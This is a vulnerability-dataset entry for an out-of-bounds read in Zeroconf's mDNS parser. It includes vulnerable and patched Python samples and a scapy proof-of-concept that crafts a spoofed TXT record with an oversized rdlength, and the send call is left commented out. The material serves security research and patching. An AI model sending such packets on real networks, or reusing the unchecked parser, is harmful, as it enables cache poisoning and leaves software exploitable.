VAITP Dataset

← Back to the dataset

CVE-2026-48487

Zeroconf out-of-bounds read in mDNS parsing allows for cache poisoning.

  • CVSS 5.3
  • CWE-130
  • Input Validation and Sanitization
  • Remote

Zeroconf is a pure Python implementation of multicast DNS service discovery. Prior to 0.149.16, _read_character_string and _read_string in src/zeroconf/_protocol/incoming.py advanced self.offset by attacker-declared RDLENGTH without checking it against self._data_len, allowing unauthenticated hosts on the local link over UDP/5353 (224.0.0.251 / ff02::fb) to send a TXT, HINFO, or A/AAAA record with rdlength=65535 and seed DNSCache and ServiceInfo.properties with truncated, attacker-shaped key/value or address records. This issue is fixed in version 0.149.16.

CVSS base score
5.3
Published
2026-07-17
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Out-of-Bound Accesses
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
Zeroconf
Fixed by upgrading
Yes

Solution

Upgrade Zeroconf to version 0.149.16 or later.

Vulnerable code sample

import struct

class VulnerableZeroconfParser:
    """
    A simplified representation of the vulnerable code in zeroconf's Incoming class
    from src/zeroconf/_protocol/incoming.py prior to version 0.149.16.
    """

    def __init__(self, data: bytes):
        self._data = data
        self._data_len = len(data)
        self.offset = 0

    def _read_character_string(self) -> bytes:
        """
        Reads a DNS character string. This is the vulnerable function.
        It was used, for example, in parsing TXT record data.
        """
        # Read a 1-byte length prefix.
        length = self._data[self.offset]
        self.offset += 1

        # VULNERABILITY: The code reads 'length' bytes and advances the offset
        # by 'length' without checking if (self.offset + length) exceeds
        # the total packet length (self._data_len). An attacker can supply
        # a large 'length' value with a short packet, causing the offset
        # to be advanced far beyond the packet's boundary.
        string = self._data[self.offset : self.offset + length]
        self.offset += length
        return string

    def _read_record_rdata_by_rdlength(self):
        """
        Represents the vulnerability when reading record data (RDATA)
        using the 16-bit RDLENGTH field.
        """
        # Read the 16-bit RDLENGTH field from a record header.
        rdlength = struct.unpack("!H", self._data[self.offset : self.offset + 2])[0]
        self.offset += 2

        # VULNERABILITY: Similar to the above, the offset is advanced by the
        # attacker-controlled 'rdlength' (up to 65535) without any bounds
        # check against the actual packet size.
        rdata = self._data[self.offset : self.offset + rdlength]
        self.offset += rdlength
        return rdata

Patched code sample

import struct

# A custom exception class used by the library for context.
class IncomingDecodeError(Exception):
    pass

# A simplified representation of the zeroconf.Incoming class containing the fix.
# The vulnerability was that an attacker-controlled length could cause a read
# beyond the bounds of the received packet data. The fix is to validate
# the length against the remaining packet size before reading.
class FixedIncomingPacketParser:

    def __init__(self, data: bytes) -> None:
        self.offset = 0
        self._data = data
        self._data_len = len(data)

    def _read_character_string(self) -> bytes:
        """Reads a DNS character string where the first byte is the length."""
        length = self._data[self.offset]
        self.offset += 1

        # THE FIX: Validate the length from the packet against the packet's actual size.
        if self.offset + length > self._data_len:
            raise IncomingDecodeError(
                f'Character string of length {length} is too long for the remaining packet '
                f'{self._data_len - self.offset}'
            )

        result = self._data[self.offset : self.offset + length]
        self.offset += length
        return result

    def _read_string(self, length: int) -> bytes:
        """Reads a string of a given length (e.g., from a record's RDLENGTH)."""

        # THE FIX: Validate the externally-provided length against the packet's actual size.
        if self.offset + length > self._data_len:
            raise IncomingDecodeError(
                f'String of length {length} is too long for the remaining packet '
                f'{self._data_len - self.offset}'
            )

        result = self._data[self.offset : self.offset + length]
        self.offset += length
        return result

Payload

from scapy.all import IP, UDP, DNS, DNSRR, send

# Target multicast address and port for mDNS
mcast_addr = "224.0.0.251"
mcast_port = 5353

# The name of the service record we are spoofing
service_name = "_malicious-service._tcp.local."

# The core of the exploit:
# 1. rdlen is set to the maximum possible value (65535).
# 2. rdata is much shorter than rdlen. The vulnerable parser will read past the end of rdata.
# The rdata for a TXT record is a series of <length-byte><string>.
# Here, '\x0b' is the length (11 bytes) for the string "key=corrupt".
malicious_rdata = b'\x0bkey=corrupt'

# Craft the malicious DNS Resource Record (DNSRR)
malicious_rr = DNSRR(
    rrname=service_name,
    type='TXT',
    ttl=120,        # Time-to-live
    rdlen=65535,    # <<< VULNERABILITY: Attacker-controlled length, much larger than actual data
    rdata=malicious_rdata # <<< Actual data is only 12 bytes long
)

# Assemble the full mDNS packet
# qr=1 indicates a response, aa=1 indicates an authoritative answer
payload_packet = (
    IP(dst=mcast_addr) /
    UDP(sport=mcast_port, dport=mcast_port) /
    DNS(
        id=0,
        qr=1,
        aa=1,
        ancount=1,      # One answer record
        an=malicious_rr
    )
)

# To execute the exploit, send the packet onto the local network
# Note: This requires appropriate permissions (e.g., root) to send raw packets.
# send(payload_packet, verbose=0, loop=0)

# For demonstration, we print the bytes of the crafted payload.
# In a real attack, this would be sent over the network.
print(payload_packet.build())

Cite this entry

@misc{vaitp:cve202648487,
  title        = {{Zeroconf out-of-bounds read in mDNS parsing allows for cache poisoning.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48487},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48487/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::